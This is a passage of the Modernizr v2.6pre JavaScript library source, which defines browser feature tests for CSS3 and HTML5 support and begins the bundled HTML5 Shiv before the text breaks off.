    "content": "/*!\n * Modernizr v2.6pre\n * www.modernizr.com\n *\n * Copyright (c) Faruk Ates, Paul Irish, Alex Sexton\n * Available under the BSD and MIT licenses: www.modernizr.com/license/\n */\n\n/*\n * Modernizr tests which native CSS3 and HTML5 features are available in\n * the current UA and makes the results available to you in two ways:\n * as properties on a global Modernizr object, and as classes on the\n * <html> element. This information allows you to progressively enhance\n * your pages with a granular level of control over the experience.\n *\n * Modernizr has an optional (not included) conditional resource loader\n * called Modernizr.load(), based on Yepnope.js (yepnopejs.com).\n * To get a build that includes Modernizr.load(), as well as choosing\n * which tests to include, go to www.modernizr.com/download/\n *\n * Authors        Faruk Ates, Paul Irish, Alex Sexton\n * Contributors   Ryan Seddon, Ben Alman\n */\n\nwindow.Modernizr = (function( window, document, undefined ) {\n\n    var version = '2.5.3',\n\n    Modernizr = {},\n\n    /*>>cssclasses*/\n    // option for enabling the HTML classes to be added\n    enableClasses = true,\n    /*>>cssclasses*/\n\n    docElement = document.documentElement,\n\n    /**\n     * Create our \"modernizr\" element that we do most feature tests on.\n     */\n    mod = 'modernizr',\n    modElem = document.createElement(mod),\n    mStyle = modElem.style,\n\n    /**\n     * Create the input element for various Web Forms feature tests.\n     */\n    inputElem /*>>inputelem*/ = document.createElement('input') /*>>inputelem*/ ,\n\n    /*>>smile*/\n    smile = ':)',\n    /*>>smile*/\n\n    toString = {}.toString,\n\n    // TODO :: make the prefixes more granular\n    /*>>prefixes*/\n    // List of property values to set for css tests. See ticket #21\n    prefixes = ' -webkit- -moz- -o- -ms- '.split(' '),\n    /*>>prefixes*/\n\n    /*>>domprefixes*/\n    // Following spec is to expose vendor-specific style properties as:\n    //   elem.style.WebkitBorderRadius\n    // and the following would be incorrect:\n    //   elem.style.webkitBorderRadius\n\n    // Webkit ghosts their properties in lowercase but Opera & Moz do not.\n    // Microsoft uses a lowercase `ms` instead of the correct `Ms` in IE8+\n    //   erik.eae.net/archives/2008/03/10/21.48.10/\n\n    // More here: github.com/Modernizr/Modernizr/issues/issue/21\n    omPrefixes = 'Webkit Moz O ms',\n\n    cssomPrefixes = omPrefixes.split(' '),\n\n    domPrefixes = omPrefixes.toLowerCase().split(' '),\n    /*>>domprefixes*/\n\n    /*>>ns*/\n    ns = {'svg': 'http://www.w3.org/2000/svg'},\n    /*>>ns*/\n\n    tests = {},\n    inputs = {},\n    attrs = {},\n\n    classes = [],\n\n    slice = classes.slice,\n\n    featureName, // used in testing loop\n\n\n    /*>>teststyles*/\n    // Inject element with style element and some CSS rules\n    injectElementWithStyles = function( rule, callback, nodes, testnames ) {\n\n      var style, ret, node,\n          div = document.createElement('div'),\n          // After page load injecting a fake body doesn't work so check if body exists\n          body = document.body,\n          // IE6 and 7 won't return offsetWidth or offsetHeight unless it's in the body element, so we fake it.\n          fakeBody = body ? body : document.createElement('body');\n\n      if ( parseInt(nodes, 10) ) {\n          // In order not to give false positives we create a node for each test\n          // This also allows the method to scale for unspecified uses\n          while ( nodes-- ) {\n              node = document.createElement('div');\n              node.id = testnames ? testnames[nodes] : mod + (nodes + 1);\n              div.appendChild(node);\n          }\n      }\n\n      // <style> elements in IE6-9 are considered 'NoScope' elements and therefore will be removed\n      // when injected with innerHTML. To get around this you need to prepend the 'NoScope' element\n      // with a 'scoped' element, in our case the soft-hyphen entity as it won't mess with our measurements.\n      // msdn.microsoft.com/en-us/library/ms533897%28VS.85%29.aspx\n      // Documents served as xml will throw if using &shy; so use xml friendly encoded version. See issue #277\n      style = ['&#173;','<style>', rule, '</style>'].join('');\n      div.id = mod;\n      // IE6 will false positive on some tests due to the style element inside the test div somehow interfering offsetHeight, so insert it into body or fakebody.\n      // Opera will act all quirky when injecting elements in documentElement when page is served as xml, needs fakebody too. #270\n      (body ? div : fakeBody).innerHTML += style;\n      fakeBody.appendChild(div);\n      if ( !body ) {\n          //avoid crashing IE8, if background image is used\n          fakeBody.style.background = \"\";\n          docElement.appendChild(fakeBody);\n      }\n\n      ret = callback(div, rule);\n      // If this is done after page load we don't want to remove the body so check if body exists\n      !body ? fakeBody.parentNode.removeChild(fakeBody) : div.parentNode.removeChild(div);\n\n      return !!ret;\n\n    },\n    /*>>teststyles*/\n\n    /*>>mq*/\n    // adapted from matchMedia polyfill\n    // by Scott Jehl and Paul Irish\n    // gist.github.com/786768\n    testMediaQuery = function( mq ) {\n\n      var matchMedia = window.matchMedia || window.msMatchMedia;\n      if ( matchMedia ) {\n        return matchMedia(mq).matches;\n      }\n\n      var bool;\n\n      injectElementWithStyles('@media ' + mq + ' { #' + mod + ' { position: absolute; } }', function( node ) {\n        bool = (window.getComputedStyle ?\n                  getComputedStyle(node, null) :\n                  node.currentStyle)['position'] == 'absolute';\n      });\n\n      return bool;\n\n     },\n     /*>>mq*/\n\n\n    /*>>hasevent*/\n    //\n    // isEventSupported determines if a given element supports the given event\n    // kangax.github.com/iseventsupported/\n    //\n    // The following results are known incorrects:\n    //   Modernizr.hasEvent(\"webkitTransitionEnd\", elem) // false negative\n    //   Modernizr.hasEvent(\"textInput\") // in Webkit. github.com/Modernizr/Modernizr/issues/333\n    //   ...\n    isEventSupported = (function() {\n\n      var TAGNAMES = {\n        'select': 'input', 'change': 'input',\n        'submit': 'form', 'reset': 'form',\n        'error': 'img', 'load': 'img', 'abort': 'img'\n      };\n\n      function isEventSupported( eventName, element ) {\n\n        element = element || document.createElement(TAGNAMES[eventName] || 'div');\n        eventName = 'on' + eventName;\n\n        // When using `setAttribute`, IE skips \"unload\", WebKit skips \"unload\" and \"resize\", whereas `in` \"catches\" those\n        var isSupported = eventName in element;\n\n        if ( !isSupported ) {\n          // If it has no `setAttribute` (i.e. doesn't implement Node interface), try generic element\n          if ( !element.setAttribute ) {\n            element = document.createElement('div');\n          }\n          if ( element.setAttribute && element.removeAttribute ) {\n            element.setAttribute(eventName, '');\n            isSupported = is(element[eventName], 'function');\n\n            // If property was created, \"remove it\" (by setting value to `undefined`)\n            if ( !is(element[eventName], 'undefined') ) {\n              element[eventName] = undefined;\n            }\n            element.removeAttribute(eventName);\n          }\n        }\n\n        element = null;\n        return isSupported;\n      }\n      return isEventSupported;\n    })(),\n    /*>>hasevent*/\n\n    // TODO :: Add flag for hasownprop ? didn't last time\n\n    // hasOwnProperty shim by kangax needed for Safari 2.0 support\n    _hasOwnProperty = ({}).hasOwnProperty, hasOwnProperty;\n\n    if ( !is(_hasOwnProperty, 'undefined') && !is(_hasOwnProperty.call, 'undefined') ) {\n      hasOwnProperty = function (object, property) {\n        return _hasOwnProperty.call(object, property);\n      };\n    }\n    else {\n      hasOwnProperty = function (object, property) { /* yes, this can give false positives/negatives, but most of the time we don't care about those */\n        return ((property in object) && is(object.constructor.prototype[property], 'undefined'));\n      };\n    }\n\n    // Adapted from ES5-shim https://github.com/kriskowal/es5-shim/blob/master/es5-shim.js\n    // es5.github.com/#x15.3.4.5\n\n    if (!Function.prototype.bind) {\n      Function.prototype.bind = function bind(that) {\n\n        var target = this;\n        if (typeof target != \"function\") throw new TypeError();\n\n        var\n        args = slice.call(arguments, 1),\n        bound = function () {\n\n          if (this instanceof bound) {\n\n            var F = function(){};\n            F.prototype = target.prototype;\n            var self = new F();\n            var result = target.apply(self, args.concat(slice.call(arguments)));\n\n            if (Object(result) === result) return result;\n            return self;\n\n          } else {\n            return target.apply( that, args.concat(slice.call(arguments)));\n          }\n        };\n        return bound;\n      };\n    }\n\n    /**\n     * setCss applies given styles to the Modernizr DOM node.\n     */\n    function setCss( str ) {\n        mStyle.cssText = str;\n    }\n\n    /**\n     * setCssAll extrapolates all vendor-specific css strings.\n     */\n    function setCssAll( str1, str2 ) {\n        return setCss(prefixes.join(str1 + ';') + ( str2 || '' ));\n    }\n\n    /**\n     * is returns a boolean for if typeof obj is exactly type.\n     */\n    function is( obj, type ) {\n        return typeof obj === type;\n    }\n\n    /**\n     * contains returns a boolean for if substr is found within str.\n     */\n    function contains( str, substr ) {\n        return !!~('' + str).indexOf(substr);\n    }\n\n    /*>>testprop*/\n\n    // testProps is a generic CSS / DOM property test.\n\n    // In testing support for a given CSS property, it's legit to test:\n    //    `elem.style[styleName] !== undefined`\n    // If the property is supported it will return an empty string,\n    // if unsupported it will return undefined.\n\n    // We'll take advantage of this quick test and skip setting a style\n    // on our modernizr element, but instead just testing undefined vs\n    // empty string.\n\n    function testProps( props, prefixed ) {\n        for ( var i in props ) {\n            if ( mStyle[ props[i] ] !== undefined ) {\n                return prefixed == 'pfx' ? props[i] : true;\n            }\n        }\n        return false;\n    }\n    /*>>testprop*/\n\n    // TODO :: add testDOMProps\n    /**\n     * testDOMProps is a generic DOM property test; if a browser supports\n     *   a certain property, it won't return undefined for it.\n     */\n    function testDOMProps( props, obj, elem ) {\n        for ( var i in props ) {\n            var item = obj[props[i]];\n            if ( item !== undefined) {\n\n                // return the property name as a string\n                if (elem === false) return props[i];\n\n                // let's bind a function\n                if (is(item, 'function')){\n                  // default to autobind unless override\n                  return item.bind(elem || obj);\n                }\n\n                // return the unbound function or obj or value\n                return item;\n            }\n        }\n        return false;\n    }\n\n    /*>>testallprops*/\n    /**\n     * testPropsAll tests a list of DOM properties we want to check against.\n     *   We specify literally ALL possible (known and/or likely) properties on\n     *   the element including the non-vendor prefixed one, for forward-\n     *   compatibility.\n     */\n    function testPropsAll( prop, prefixed, elem ) {\n\n        var ucProp  = prop.charAt(0).toUpperCase() + prop.substr(1),\n            props   = (prop + ' ' + cssomPrefixes.join(ucProp + ' ') + ucProp).split(' ');\n\n        // did they call .prefixed('boxSizing') or are we just testing a prop?\n        if(is(prefixed, \"string\") || is(prefixed, \"undefined\")) {\n          return testProps(props, prefixed);\n\n        // otherwise, they called .prefixed('requestAnimationFrame', window[, elem])\n        } else {\n          props = (prop + ' ' + (domPrefixes).join(ucProp + ' ') + ucProp).split(' ');\n          return testDOMProps(props, prefixed, elem);\n        }\n    }\n    /*>>testallprops*/\n\n\n    /**\n     * Tests\n     * -----\n     */\n\n    // The *new* flexbox\n    // dev.w3.org/csswg/css3-flexbox\n\n    tests['flexbox'] = function() {\n      return testPropsAll('flexOrder');\n    };\n\n    // The *old* flexbox\n    // www.w3.org/TR/2009/WD-css3-flexbox-20090723/\n\n    tests['flexboxlegacy'] = function() {\n        return testPropsAll('boxDirection');\n    };\n\n    // On the S60 and BB Storm, getContext exists, but always returns undefined\n    // so we actually have to call getContext() to verify\n    // github.com/Modernizr/Modernizr/issues/issue/97/\n\n    tests['canvas'] = function() {\n        var elem = document.createElement('canvas');\n        return !!(elem.getContext && elem.getContext('2d'));\n    };\n\n    tests['canvastext'] = function() {\n        return !!(Modernizr['canvas'] && is(document.createElement('canvas').getContext('2d').fillText, 'function'));\n    };\n\n    // webk.it/70117 is tracking a legit WebGL feature detect proposal\n\n    // We do a soft detect which may false positive in order to avoid\n    // an expensive context creation: bugzil.la/732441\n\n    tests['webgl'] = function() {\n        return !!window.WebGLRenderingContext;\n    };\n\n    /*\n     * The Modernizr.touch test only indicates if the browser supports\n     *    touch events, which does not necessarily reflect a touchscreen\n     *    device, as evidenced by tablets running Windows 7 or, alas,\n     *    the Palm Pre / WebOS (touch) phones.\n     *\n     * Additionally, Chrome (desktop) used to lie about its support on this,\n     *    but that has since been rectified: crbug.com/36415\n     *\n     * We also test for Firefox 4 Multitouch Support.\n     *\n     * For more info, see: modernizr.github.com/Modernizr/touch.html\n     */\n\n    tests['touch'] = function() {\n        var bool;\n\n        if(('ontouchstart' in window) || window.DocumentTouch && document instanceof DocumentTouch) {\n          bool = true;\n        } else {\n          injectElementWithStyles(['@media (',prefixes.join('touch-enabled),('),mod,')','{#modernizr{top:9px;position:absolute}}'].join(''), function( node ) {\n            bool = node.offsetTop === 9;\n          });\n        }\n\n        return bool;\n    };\n\n\n    // geolocation is often considered a trivial feature detect...\n    // Turns out, it's quite tricky to get right:\n    //\n    // Using !!navigator.geolocation does two things we don't want. It:\n    //   1. Leaks memory in IE9: github.com/Modernizr/Modernizr/issues/513\n    //   2. Disables page caching in WebKit: webk.it/43956\n    //\n    // Meanwhile, in Firefox < 8, an about:config setting could expose\n    // a false positive that would throw an exception: bugzil.la/688158\n\n    tests['geolocation'] = function() {\n        return 'geolocation' in navigator;\n    };\n\n\n    tests['postmessage'] = function() {\n      return !!window.postMessage;\n    };\n\n\n    // Chrome incognito mode used to throw an exception when using openDatabase\n    // It doesn't anymore.\n    tests['websqldatabase'] = function() {\n      return !!window.openDatabase;\n    };\n\n    // Vendors had inconsistent prefixing with the experimental Indexed DB:\n    // - Webkit's implementation is accessible through webkitIndexedDB\n    // - Firefox shipped moz_indexedDB before FF4b9, but since then has been mozIndexedDB\n    // For speed, we don't test the legacy (and beta-only) indexedDB\n    tests['indexedDB'] = function() {\n      return !!testPropsAll(\"indexedDB\", window);\n    };\n\n    // documentMode logic from YUI to filter out IE8 Compat Mode\n    //   which false positives.\n    tests['hashchange'] = function() {\n      return isEventSupported('hashchange', window) && (document.documentMode === undefined || document.documentMode > 7);\n    };\n\n    // Per 1.6:\n    // This used to be Modernizr.historymanagement but the longer\n    // name has been deprecated in favor of a shorter and property-matching one.\n    // The old API is still available in 1.6, but as of 2.0 will throw a warning,\n    // and in the first release thereafter disappear entirely.\n    tests['history'] = function() {\n      return !!(window.history && history.pushState);\n    };\n\n    tests['draganddrop'] = function() {\n        var div = document.createElement('div');\n        return ('draggable' in div) || ('ondragstart' in div && 'ondrop' in div);\n    };\n\n    // FF3.6 was EOL'ed on 4/24/12, but the ESR version of FF10\n    // will be supported until FF19 (2/12/13), at which time, ESR becomes FF17.\n    // FF10 still uses prefixes, so check for it until then.\n    // for more ESR info, see: http://www.mozilla.org/en-US/firefox/organizations/faq/\n    tests['websockets'] = function() {\n        return 'WebSocket' in window || 'MozWebSocket' in window;\n    };\n\n\n    // css-tricks.com/rgba-browser-support/\n    tests['rgba'] = function() {\n        // Set an rgba() color and check the returned value\n\n        setCss('background-color:rgba(150,255,150,.5)');\n\n        return contains(mStyle.backgroundColor, 'rgba');\n    };\n\n    tests['hsla'] = function() {\n        // Same as rgba(), in fact, browsers re-map hsla() to rgba() internally,\n        //   except IE9 who retains it as hsla\n\n        setCss('background-color:hsla(120,40%,100%,.5)');\n\n        return contains(mStyle.backgroundColor, 'rgba') || contains(mStyle.backgroundColor, 'hsla');\n    };\n\n    tests['multiplebgs'] = function() {\n        // Setting multiple images AND a color on the background shorthand property\n        //  and then querying the style.background property value for the number of\n        //  occurrences of \"url(\" is a reliable method for detecting ACTUAL support for this!\n\n        setCss('background:url(https://),url(https://),red url(https://)');\n\n        // If the UA supports multiple backgrounds, there should be three occurrences\n        //   of the string \"url(\" in the return value for elemStyle.background\n\n        return /(url\\s*\\(.*?){3}/.test(mStyle.background);\n    };\n\n\n\n    // this will false positive in Opera Mini\n    //   github.com/Modernizr/Modernizr/issues/396\n\n    tests['backgroundsize'] = function() {\n        return testPropsAll('backgroundSize');\n    };\n\n    tests['borderimage'] = function() {\n        return testPropsAll('borderImage');\n    };\n\n\n    // Super comprehensive table about all the unique implementations of\n    // border-radius: muddledramblings.com/table-of-css3-border-radius-compliance\n\n    tests['borderradius'] = function() {\n        return testPropsAll('borderRadius');\n    };\n\n    // WebOS unfortunately false positives on this test.\n    tests['boxshadow'] = function() {\n        return testPropsAll('boxShadow');\n    };\n\n    // FF3.0 will false positive on this test\n    tests['textshadow'] = function() {\n        return document.createElement('div').style.textShadow === '';\n    };\n\n\n    tests['opacity'] = function() {\n        // Browsers that actually have CSS Opacity implemented have done so\n        //  according to spec, which means their return values are within the\n        //  range of [0.0,1.0] - including the leading zero.\n\n        setCssAll('opacity:.55');\n\n        // The non-literal . in this regex is intentional:\n        //   German Chrome returns this value as 0,55\n        // github.com/Modernizr/Modernizr/issues/#issue/59/comment/516632\n        return /^0.55$/.test(mStyle.opacity);\n    };\n\n\n    // Note, Android < 4 will pass this test, but can only animate\n    //   a single property at a time\n    //   daneden.me/2011/12/putting-up-with-androids-bullshit/\n    tests['cssanimations'] = function() {\n        return testPropsAll('animationName');\n    };\n\n\n    tests['csscolumns'] = function() {\n        return testPropsAll('columnCount');\n    };\n\n\n    tests['cssgradients'] = function() {\n        /**\n         * For CSS Gradients syntax, please see:\n         * webkit.org/blog/175/introducing-css-gradients/\n         * developer.mozilla.org/en/CSS/-moz-linear-gradient\n         * developer.mozilla.org/en/CSS/-moz-radial-gradient\n         * dev.w3.org/csswg/css3-images/#gradients-\n         */\n\n        var str1 = 'background-image:',\n            str2 = 'gradient(linear,left top,right bottom,from(#9f9),to(white));',\n            str3 = 'linear-gradient(left top,#9f9, white);';\n\n        setCss(\n             // legacy webkit syntax (FIXME: remove when syntax not in use anymore)\n              (str1 + '-webkit- '.split(' ').join(str2 + str1)\n             // standard syntax             // trailing 'background-image:'\n              + prefixes.join(str3 + str1)).slice(0, -str1.length)\n        );\n\n        return contains(mStyle.backgroundImage, 'gradient');\n    };\n\n\n    tests['cssreflections'] = function() {\n        return testPropsAll('boxReflect');\n    };\n\n\n    tests['csstransforms'] = function() {\n        return !!testPropsAll('transform');\n    };\n\n\n    tests['csstransforms3d'] = function() {\n\n        var ret = !!testPropsAll('perspective');\n\n        // Webkit's 3D transforms are passed off to the browser's own graphics renderer.\n        //   It works fine in Safari on Leopard and Snow Leopard, but not in Chrome in\n        //   some conditions. As a result, Webkit typically recognizes the syntax but\n        //   will sometimes throw a false positive, thus we must do a more thorough check:\n        if ( ret && 'webkitPerspective' in docElement.style ) {\n\n          // Webkit allows this media query to succeed only if the feature is enabled.\n          // `@media (transform-3d),(-webkit-transform-3d){ ... }`\n          injectElementWithStyles('@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}', function( node, rule ) {\n            ret = node.offsetLeft === 9 && node.offsetHeight === 3;\n          });\n        }\n        return ret;\n    };\n\n\n    tests['csstransitions'] = function() {\n        return testPropsAll('transition');\n    };\n\n\n    /*>>fontface*/\n    // @font-face detection routine by Diego Perini\n    // javascript.nwbox.com/CSSSupport/\n\n    // false positives:\n    //   WebOS github.com/Modernizr/Modernizr/issues/342\n    //   WP7   github.com/Modernizr/Modernizr/issues/538\n    tests['fontface'] = function() {\n        var bool;\n\n        injectElementWithStyles('@font-face {font-family:\"font\";src:url(\"https://\")}', function( node, rule ) {\n          var style = document.styleSheets[document.styleSheets.length - 1],\n              cssText = style ? (style.cssRules && style.cssRules[0] ? style.cssRules[0].cssText : style.cssText || '') : '';\n\n          bool = /src/i.test(cssText) && cssText.indexOf(rule.split(' ')[0]) === 0;\n        });\n\n        return bool;\n    };\n    /*>>fontface*/\n\n    // CSS generated content detection\n    tests['generatedcontent'] = function() {\n        var bool;\n\n        injectElementWithStyles(['#modernizr:after{content:\"',smile,'\";visibility:hidden}'].join(''), function( node ) {\n          bool = node.offsetHeight >= 1;\n        });\n\n        return bool;\n    };\n\n\n\n    // These tests evaluate support of the video/audio elements, as well as\n    // testing what types of content they support.\n    //\n    // We're using the Boolean constructor here, so that we can extend the value\n    // e.g.  Modernizr.video     // true\n    //       Modernizr.video.ogg // 'probably'\n    //\n    // Codec values from : github.com/NielsLeenheer/html5test/blob/9106a8/index.html#L845\n    //                     thx to NielsLeenheer and zcorpan\n\n    // Note: in some older browsers, \"no\" was a return value instead of empty string.\n    //   It was live in FF3.5.0 and 3.5.1, but fixed in 3.5.2\n    //   It was also live in Safari 4.0.0 - 4.0.4, but fixed in 4.0.5\n\n    tests['video'] = function() {\n        var elem = document.createElement('video'),\n            bool = false;\n\n        // IE9 Running on Windows Server SKU can cause an exception to be thrown, bug #224\n        try {\n            if ( bool = !!elem.canPlayType ) {\n                bool      = new Boolean(bool);\n                bool.ogg  = elem.canPlayType('video/ogg; codecs=\"theora\"')      .replace(/^no$/,'');\n\n                // Without QuickTime, this value will be `undefined`. github.com/Modernizr/Modernizr/issues/546\n                bool.h264 = elem.canPlayType('video/mp4; codecs=\"avc1.42E01E\"') .replace(/^no$/,'');\n\n                bool.webm = elem.canPlayType('video/webm; codecs=\"vp8, vorbis\"').replace(/^no$/,'');\n            }\n\n        } catch(e) { }\n\n        return bool;\n    };\n\n    tests['audio'] = function() {\n        var elem = document.createElement('audio'),\n            bool = false;\n\n        try {\n            if ( bool = !!elem.canPlayType ) {\n                bool      = new Boolean(bool);\n                bool.ogg  = elem.canPlayType('audio/ogg; codecs=\"vorbis\"').replace(/^no$/,'');\n                bool.mp3  = elem.canPlayType('audio/mpeg;')               .replace(/^no$/,'');\n\n                // Mimetypes accepted:\n                //   developer.mozilla.org/En/Media_formats_supported_by_the_audio_and_video_elements\n                //   bit.ly/iphoneoscodecs\n                bool.wav  = elem.canPlayType('audio/wav; codecs=\"1\"')     .replace(/^no$/,'');\n                bool.m4a  = ( elem.canPlayType('audio/x-m4a;')            ||\n                              elem.canPlayType('audio/aac;'))             .replace(/^no$/,'');\n            }\n        } catch(e) { }\n\n        return bool;\n    };\n\n\n    // In FF4, if disabled, window.localStorage should === null.\n\n    // Normally, we could not test that directly and need to do a\n    //   `('localStorage' in window) && ` test first because otherwise Firefox will\n    //   throw bugzil.la/365772 if cookies are disabled\n\n    // Also in iOS5 Private Browsing mode, attempting to use localStorage.setItem\n    // will throw the exception:\n    //   QUOTA_EXCEEDED_ERRROR DOM Exception 22.\n    // Peculiarly, getItem and removeItem calls do not throw.\n\n    // Because we are forced to try/catch this, we'll go aggressive.\n\n    // Just FWIW: IE8 Compat mode supports these features completely:\n    //   www.quirksmode.org/dom/html5.html\n    // But IE8 doesn't support either with local files\n\n    tests['localstorage'] = function() {\n        try {\n            localStorage.setItem(mod, mod);\n            localStorage.removeItem(mod);\n            return true;\n        } catch(e) {\n            return false;\n        }\n    };\n\n    tests['sessionstorage'] = function() {\n        try {\n            sessionStorage.setItem(mod, mod);\n            sessionStorage.removeItem(mod);\n            return true;\n        } catch(e) {\n            return false;\n        }\n    };\n\n\n    tests['webworkers'] = function() {\n        return !!window.Worker;\n    };\n\n\n    tests['applicationcache'] = function() {\n        return !!window.applicationCache;\n    };\n\n\n    // Thanks to Erik Dahlstrom\n    tests['svg'] = function() {\n        return !!document.createElementNS && !!document.createElementNS(ns.svg, 'svg').createSVGRect;\n    };\n\n    // specifically for SVG inline in HTML, not within XHTML\n    // test page: paulirish.com/demo/inline-svg\n    tests['inlinesvg'] = function() {\n      var div = document.createElement('div');\n      div.innerHTML = '<svg/>';\n      return (div.firstChild && div.firstChild.namespaceURI) == ns.svg;\n    };\n\n    // SVG SMIL animation\n    tests['smil'] = function() {\n        return !!document.createElementNS && /SVGAnimate/.test(toString.call(document.createElementNS(ns.svg, 'animate')));\n    };\n\n    // This test is only for clip paths in SVG proper, not clip paths on HTML content\n    // demo: srufaculty.sru.edu/david.dailey/svg/newstuff/clipPath4.svg\n\n    // However read the comments to dig into applying SVG clippaths to HTML content here:\n    //   github.com/Modernizr/Modernizr/issues/213#issuecomment-1149491\n    tests['svgclippaths'] = function() {\n        return !!document.createElementNS && /SVGClipPath/.test(toString.call(document.createElementNS(ns.svg, 'clipPath')));\n    };\n\n    /*>>webforms*/\n    // input features and input types go directly onto the ret object, bypassing the tests loop.\n    // Hold this guy to execute in a moment.\n    function webforms() {\n        /*>>input*/\n        // Run through HTML5's new input attributes to see if the UA understands any.\n        // We're using f which is the <input> element created early on\n        // Mike Taylr has created a comprehensive resource for testing these attributes\n        //   when applied to all input types:\n        //   miketaylr.com/code/input-type-attr.html\n        // spec: www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary\n\n        // Only input placeholder is tested while textarea's placeholder is not.\n        // Currently Safari 4 and Opera 11 have support only for the input placeholder\n        // Both tests are available in feature-detects/forms-placeholder.js\n        Modernizr['input'] = (function( props ) {\n            for ( var i = 0, len = props.length; i < len; i++ ) {\n                attrs[ props[i] ] = !!(props[i] in inputElem);\n            }\n            if (attrs.list){\n              // safari false positive's on datalist: webk.it/74252\n              // see also github.com/Modernizr/Modernizr/issues/146\n              attrs.list = !!(document.createElement('datalist') && window.HTMLDataListElement);\n            }\n            return attrs;\n        })('autocomplete autofocus list placeholder max min multiple pattern required step'.split(' '));\n        /*>>input*/\n\n        /*>>inputtypes*/\n        // Run through HTML5's new input types to see if the UA understands any.\n        //   This is put behind the tests runloop because it doesn't return a\n        //   true/false like all the other tests; instead, it returns an object\n        //   containing each input type with its corresponding true/false value\n\n        // Big thanks to @miketaylr for the html5 forms expertise. miketaylr.com/\n        Modernizr['inputtypes'] = (function(props) {\n\n            for ( var i = 0, bool, inputElemType, defaultView, len = props.length; i < len; i++ ) {\n\n                inputElem.setAttribute('type', inputElemType = props[i]);\n                bool = inputElem.type !== 'text';\n\n                // We first check to see if the type we give it sticks..\n                // If the type does, we feed it a textual value, which shouldn't be valid.\n                // If the value doesn't stick, we know there's input sanitization which infers a custom UI\n                if ( bool ) {\n\n                    inputElem.value         = smile;\n                    inputElem.style.cssText = 'position:absolute;visibility:hidden;';\n\n                    if ( /^range$/.test(inputElemType) && inputElem.style.WebkitAppearance !== undefined ) {\n\n                      docElement.appendChild(inputElem);\n                      defaultView = document.defaultView;\n\n                      // Safari 2-4 allows the smiley as a value, despite making a slider\n                      bool =  defaultView.getComputedStyle &&\n                              defaultView.getComputedStyle(inputElem, null).WebkitAppearance !== 'textfield' &&\n                              // Mobile android web browser has false positive, so must\n                              // check the height to see if the widget is actually there.\n                              (inputElem.offsetHeight !== 0);\n\n                      docElement.removeChild(inputElem);\n\n                    } else if ( /^(search|tel)$/.test(inputElemType) ){\n                      // Spec doesn't define any special parsing or detectable UI\n                      //   behaviors so we pass these through as true\n\n                      // Interestingly, opera fails the earlier test, so it doesn't\n                      //  even make it here.\n\n                    } else if ( /^(url|email)$/.test(inputElemType) ) {\n                      // Real url and email support comes with prebaked validation.\n                      bool = inputElem.checkValidity && inputElem.checkValidity() === false;\n\n                    } else {\n                      // If the upgraded input compontent rejects the :) text, we got a winner\n                      bool = inputElem.value != smile;\n                    }\n                }\n\n                inputs[ props[i] ] = !!bool;\n            }\n            return inputs;\n        })('search tel url email datetime date month week time datetime-local number range color'.split(' '));\n        /*>>inputtypes*/\n    }\n    /*>>webforms*/\n\n\n    // End of test definitions\n    // -----------------------\n\n\n\n    // Run through all tests and detect their support in the current UA.\n    // todo: hypothetically we could be doing an array of tests and use a basic loop here.\n    for ( var feature in tests ) {\n        if ( hasOwnProperty(tests, feature) ) {\n            // run the test, throw the return value into the Modernizr,\n            //   then based on that boolean, define an appropriate className\n            //   and push it into an array of classes we'll join later.\n            featureName  = feature.toLowerCase();\n            Modernizr[featureName] = tests[feature]();\n\n            classes.push((Modernizr[featureName] ? '' : 'no-') + featureName);\n        }\n    }\n\n    /*>>webforms*/\n    // input tests need to run.\n    Modernizr.input || webforms();\n    /*>>webforms*/\n\n\n    /*>>addtest*/\n    /**\n     * addTest allows the user to define their own feature tests\n     * the result will be added onto the Modernizr object,\n     * as well as an appropriate className set on the html element\n     *\n     * @param feature - String naming the feature\n     * @param test - Function returning true if feature is supported, false if not\n     */\n     Modernizr.addTest = function ( feature, test ) {\n       if ( typeof feature == 'object' ) {\n         for ( var key in feature ) {\n           if ( hasOwnProperty( feature, key ) ) {\n             Modernizr.addTest( key, feature[ key ] );\n           }\n         }\n       } else {\n\n         feature = feature.toLowerCase();\n\n         if ( Modernizr[feature] !== undefined ) {\n           // we're going to quit if you're trying to overwrite an existing test\n           // if we were to allow it, we'd do this:\n           //   var re = new RegExp(\"\\\\b(no-)?\" + feature + \"\\\\b\");\n           //   docElement.className = docElement.className.replace( re, '' );\n           // but, no rly, stuff 'em.\n           return Modernizr;\n         }\n\n         test = typeof test == 'function' ? test() : test;\n\n         if (enableClasses) {\n           docElement.className += ' ' + (test ? '' : 'no-') + feature;\n         }\n         Modernizr[feature] = test;\n\n       }\n\n       return Modernizr; // allow chaining.\n     };\n     /*>>addtest*/\n\n\n    // Reset modElem.cssText to nothing to reduce memory footprint.\n    setCss('');\n    modElem = inputElem = null;\n\n    /*>>shiv*/\n    /*! HTML5 Shiv v3.5 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed */\n    ;(function(window, document) {\n\n      /** Preset options */\n      var options = window.html5 || {};\n\n      /** Used to skip problem elements */\n      var reSkip = /^<|^(?:button|form|map|select|textarea|object|iframe|option|optgroup)$/i;\n\n      /** Not all elements can be cloned in IE (this list can be shortend) **/\n      var saveClones = /^<|^(?:a|b|button|code|div|fieldset|form|h1|h2|h3|h4|h5|h6|i|iframe|img|input|label|li|link|ol|option|p|param|q|script|select|span|strong|style|table|tbody|td|textarea|tfoot|th|thead|tr|ul)$/i;\n\n      /** Detect whether the browser supports default html5 styles */\n      var supportsHtml5Styles;\n\n      /** Detect whether the browser supports unknown elements */\n      var supportsUnknownElements;\n\n      (function() {\n        var a = document.createElement('a');\n\n        a.innerHTML = '<xyz></xyz>';\n\n        //if the hidden property is implemented we can assume, that the browser supports HTML5 Styles | this fails in Chrome 8\n        supportsHtml5Styles = ('hidden' in a);\n        //if we are part of Modernizr, we do an additional test to solve the Chrome 8 fail\n        if(supportsHtml5Styles && typeof injectElementWithStyles == 'function'){\n            injectElementWithStyles('#modernizr{}', function(node){\n                node.hidden = true;\n                supportsHtml5Styles = (window.getComputedStyle ?\n                      getComputedStyle(node, null) :\n                      node.currentStyle).display == 'none';\n            });\n        }\n\n        supportsUnknownElements = a.childNodes.length == 1 || (function() {\n          // assign a false positive if unable to shiv\n          try {\n            (document.createElement)('a');\n          } catch(e) {\n            return true;\n          }\n          var frag = document.createDocumentFragment();\n          return (\n            typeof frag.cloneNode == 'undefined' ||\n            typeof frag.createDocumentFragment == 'undefined' ||\n            typeof frag.createElement == 'undefined'\n          );\n        }());\n\n      